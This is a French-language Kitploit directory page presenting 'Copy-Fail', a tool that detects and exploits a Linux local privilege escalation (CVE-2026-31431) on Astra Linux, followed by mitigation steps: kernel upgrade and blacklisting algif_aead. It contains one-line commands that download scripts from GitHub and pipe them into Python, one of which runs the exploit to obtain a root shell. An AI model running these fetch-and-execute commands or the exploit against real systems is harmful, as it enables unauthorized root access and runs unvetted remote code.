Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Copy-Fail — Détecte et exploite l'élévation de privilèges locale CVE-2026-31431 (Copy Fail) sur Astra Linux, avec une compatibilité Python 3.7+ et un déploiement en une seule ligne. | Kitploit
Outils/GitHubGitHub/p401a-ops/copy-fail
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationTests d'Intrusion
GitHubp401a-ops/copy-fail

Copy-Fail

Détecte et exploite l'élévation de privilèges locale CVE-2026-31431 (Copy Fail) sur Astra Linux, avec une compatibilité Python 3.7+ et un déploiement en une seule ligne.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-31431 «Copy Fail» — Élévation de privilèges locale

Version compatible Python 3.7+ (y compris Astra Linux)

Vérification sûre sans exploitation :

root@kitploit:~
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3

Exploitation (lorsque demandé, il faudra saisir le mot de passe de l'utilisateur)

root@kitploit:~
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell

Version actuelle de l'exploit

Il s'agit d'un fork adapté pour Python 3.7, 3.8, 3.9, 3.10, 3.11. Les exploits originaux nécessitent Python 3.12+ en raison de l'utilisation de os.splice().

Pourquoi l'original ne fonctionne pas ?

root@kitploit:~
# ❌ Exploit original (Python 3.12+ uniquement)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'

Qu'est-ce qui a été modifié dans ce fork ?

  • Suppression de la dépendance à os.splice()
  • Ajout de la compatibilité avec Python 3.7+
  • Exploit testé sur Astra Linux
  • Compatibilité conservée avec les distributions modernes
  • Ajout d'un lancement simple en une ligne

Remarques

  • Un accès local au système est requis
  • Python doit être installé sur le système
  • Testé sur Astra Linux CE/SE
  • Fonctionne sans Python 3.12+

###Exploitation sur Astra Linux

La vulnérabilité a été vérifiée sur Astra Linux. Le module algif_aead est présent, l'exploitation permet d'obtenir un accès à sudo et d'élever les privilèges jusqu'à root.

Cependant, lorsque le contrôle d'accès obligatoire (CAO/Parsec) est activé, il n'est pas possible de devenir super-administrateur (niveau 63 / rôle astra-admin) : les étiquettes obligatoires limitent les privilèges même du processus root, et la politique de sécurité ne permet pas de franchir les niveaux de confidentialité établis.

Ainsi : 🔴 Les systèmes Astra Linux sans CAO ou avec CAO désactivé — sont entièrement vulnérables. 🟡 Les systèmes avec CAO activé — sont partiellement protégés : l'obtention de root est possible, mais les capacités réelles de l'attaquant sont limitées par la politique obligatoire.

Dans les deux cas, lors de la détection de la vulnérabilité, l'application des mesures des points 2 ou 3 est obligatoire.

━━━━━━━━━━━━━━━

  1. Vérification de la présence de la vulnérabilité

Sur chaque serveur, il est nécessaire d'exécuter la commande suivante. Elle n'apporte aucune modification au système et vérifie uniquement si le module vulnérable est disponible.

Se connecter au serveur et exécuter en une seule ligne :

python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** VULNÉRABLE **\n" + ""*30)'

🔴 Si le mot VULNÉRABLE apparaît à l'écran — le serveur est exposé à la vulnérabilité, il faut passer au point 2. 🟢 Si un message d'erreur Python apparaît — le serveur n'est pas exposé à la vulnérabilité, aucune action supplémentaire n'est requise.

━━━━━━━━━━━━━━━ 2. Solution principale — mise à jour du noyau

Il est nécessaire de mettre à jour le noyau vers une version contenant le correctif : 6.18.22, 6.19.12 ou plus récente. Jusqu'à la mise à jour, la désactivation du module du point 3 assure la protection.

Pour Debian / Ubuntu / Astra Linux :

apt-get update apt-get dist-upgrade reboot

Après le redémarrage, vérifier impérativement que c'est bien le nouveau noyau qui a été chargé :

uname -r

Si la commande affiche une version inférieure à 6.18.22 — le noyau n'a pas été mis à jour ou le système a démarré avec l'ancienne image. Dans ce cas, il faut s'assurer que la mise à jour a bien été installée (apt-get dist-upgrade n'a pas renvoyé d'erreurs) et répéter le redémarrage.

⚠️ Astra Linux 1.7.x : Jusqu'à la sortie de la mise à jour, la seule mesure de protection est la désactivation du module du point 3. Pour obtenir le correctif, il est recommandé de contacter le support technique d'Astra Linux via l'espace personnel.

━━━━━━━━━━━━━━━ 3. Mesure de protection temporaire — désactivation du module vulnérable

Si la mise à jour du noyau est actuellement impossible, il est recommandé, à titre de mesure temporaire, de désactiver le module vulnérable. L'opération ne nécessite pas de redémarrage et prend effet immédiatement. Avant l'application, il est recommandé de vérifier les modifications dans un environnement de test : dans de rares cas, certains services peuvent utiliser ce module directement.

Commande pour désactiver le module. À exécuter en tant que root (ou via sudo) :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

La première commande interdit le chargement du module lors des prochains démarrages. La seconde le décharge immédiatement, s'il est chargé. Une erreur dans la seconde commande est normale, cela signifie que le module n'était déjà plus actif.

Télécharger l’outil